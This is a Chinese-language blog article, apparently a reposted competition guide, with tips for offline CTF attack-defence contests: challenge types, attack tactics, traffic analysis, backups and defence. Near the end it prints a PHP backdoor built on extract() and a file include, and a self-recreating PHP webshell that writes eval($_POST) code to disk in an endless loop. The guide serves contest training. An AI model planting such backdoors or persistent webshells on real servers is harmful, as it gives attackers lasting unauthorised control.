CTF線下賽AWD模式下的生存技巧
作者:Veneno@Nu1L
稿費:200RMB
投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿
原文:https://www.anquanke.com/post/id/84675
Hello,大家好,我是Nu1L戰隊隊長Veneno,通過這篇文章說一下關於CTF線下賽的AWD模式(當然也有一些比賽是沙盒模式),以及身為一只Web狗的你如何在各位大佬們的手下存活:)可能沒有技術幹貨,大家勿噴:)
1-何為AWD
Attack With Defence,簡而言之就是你既是一個hacker,又是一個manager。
比賽形式:一般就是一個ssh對應一個web服務,然後flag五分鐘一輪,各隊一般都有自己的初始分數,flag被拿會被拿走flag的隊伍均分,主辦方會對每個隊伍的服務進行check,check不過就扣分,扣除的分值由服務check正常的隊伍均分。
2-AWD之出題人
在這裏暫且冒充下出題人QAQ
0x01:題目類型
1-出題人自己寫的cms,為了惡心然後加個so。
2-常見或者不常見的cms。
3-一些框架漏洞,比如ph師傅挖的CI這種
0x02:代碼類型
目前來說,國內比賽依舊是php居多,當然也會有一些別的,比如py,lua這種。
0x03:題目漏洞類型
1-sqli居多
2-文件包含
3-各種rce
4-文件上傳
0x04:出題人思路
為了不讓你們這群賽棍把題秒了,我直接放個未公開cms的0day把,算了,要不我自己加點東西。誒,等等,這樣是不是有點難了,再放幾個比較簡單的洞把,直接在index.php或者web根目錄下放個shell?
3-如何攻擊
相信平日大家都做過滲透測試之類的,而AWD模式的比賽其實跟日常的滲透測試有共同之處。
0x01:如何拿flag
一般來說就是以下兩種模式:
1-是向內網一臺機器發送http請求,返回請求中包含flag。
2-是例如/home目錄下放置flag文件。
0x02:一個web狗需要具備的一些東西
大致有以下幾點:
1-快速的漏洞反應能力。
因為有的時候,一些比賽放的漏洞都是網上能查到的,所以這個時候需要一個好的搜索技巧。或者是一些rce顯而易見的那種。
2-快速編寫腳本的能力。
因為大家的服務都是一樣的,而你如果能通過比如註入的方式拿到flag,如果用hackbar一個個去弄,顯然不夠優雅,而且有時候特別會容易遺漏,那麽這個時候寫個小py無疑是極好的。
3-一個好的心態
畢竟跟你同場競技的都是各位大佬,所以當你發現自己被打的時候,心態不要崩,一旦崩了就基本宣布gg了。
0x03:當我們處於優勢地位時
除非處於那種絕對優勢的時候,我們可以什麽都不在乎。
當我們處於一個微弱優勢時,這個時候我們需要一個比較腹黑的思想,比如說,A隊與B隊只差了可能幾百的分數,而A隊這個時候有B隊的webshell,那麽如何把B隊拖下水,相信大家都懂。
0x04:當我們處於劣勢地位時
首先還是那句話,心態不要崩。
其次因為web比較容易抓取流量,所以即使我們被打,我們也可以及時通過分析流量去查看別的隊伍的payload,從而進行反打。
如果自己的服務器上被種了shell,刪除是肯定的,但是要這樣想,如果給你種了shell,那麽這種一般是自動化腳本打的,就意味著別的隊伍也可能被種,路徑密碼什麽的都一樣。
4-如何防守
其實防守更多看的是誰比較細心。
0x01:比賽開始的時候
比賽開始時,當我們連上ssh的時候,我們首先應該做的是把源碼down下來,及時做好備份。
然後在盡量不違反主辦方check的原則下掛上自己的waf。
一般來說,主辦方可能會隔一段時間提供前一時段的流量,也可能不會,所以這個時候需要我們自己去抓流量。
0x02:然後的工作
當然是審計,審計,再審計。
0x03:當發現被打時
當發現自己被打時,首先嘗試還原以前的備份(記得備份當前),如果依然被打,這個時候應該跟隊友分好工,查看抓取的流量以及查看服務器上是不是存在shell。
5-一些小tips
分享幾個小例子以及自己的思路。
0x01:如果自己拿到了FB
當自己拿到fb的時候,一定要淡定,淡定,淡定。首先,我們測試的對象應該是NPC(或者本地),而不是其他隊伍選手的服務,因為你怎麽知道人家沒有流量,經常會出現,有的隊伍拿到了fb,結果不是拿的npc的,自己的payload又被別的隊伍拿到,而碰巧拿到的隊伍,重放能力特別強,就會出現一個尷尬的局面,明明你拿的fb,結果人家打的比你還兇。
所以,當拿到fb的時候,寫打全場的exp之前,可以先打n多的混淆流量。
0x02:特別熟悉的cms
作為一只web狗,如果看到wordpress,那麽第一個反應肯定是上wpscan。但是線下賽時候有的出題人放了一個最新版本的wp,甚至插件也沒有什麽漏洞,舉兩個自己打比賽的時候碰見過的例子:
1-主辦方放了一個wp,然後每個隊伍都有config備份文件以及phpmyadmin。這種情況下,最機智的方法,是靠你多年手速,迅速下載其他隊伍備份文件,然後登陸phpmyadmin後,拿別的隊伍的shell最機智的方法不是去利用phpmyadmin寫shell,萬一沒權限不就白白耽誤時間了。
2-同樣是最新版的wp,也沒有安裝插件,但是主辦方在一個比較深的目錄裏放了一個任意文件上傳,繞過上傳的方式也比較簡單。
0x03:一些比較有意思的backdoor
比如下面這個,有興趣的話可以自己本地測試下:
<?php
session_start();
extract($_GET);
if(preg_match(‘/[0-9]/‘,$_SESSION[‘PHPSESSID‘]))
exit;
if(preg_match(‘//|./‘,$_SESSION[‘PHPSESSID‘]))
exit;
include(ini_get("session.save_path")."/sess_".$_SESSION[‘PHPSESSID‘]);
?>
0x04:一些有趣shell
在github上有關於phpwebshell的一個項目,有興趣的同學可以搜一下。當然也有python的一些shell。在這裏舉一個最簡單的例子:
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = "veneno.php";
$shell = "<?php eval($_POST[venenohi]);?>";
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(50);
}
?>
6-Ending
參加了那麽多線下賽以來,個人感覺還是需要提高自己的代碼審計能力以及自動化腳本的編寫能力,同時也會提醒自己在什麽方面有短板。
大體就說什麽多,因為可能是個經驗帖,所以並沒有太多代碼,師傅們勿噴,如果有什麽問題可以加我微信(FHcherish)一起交流:)
CTF線下賽AWD模式下的生存技巧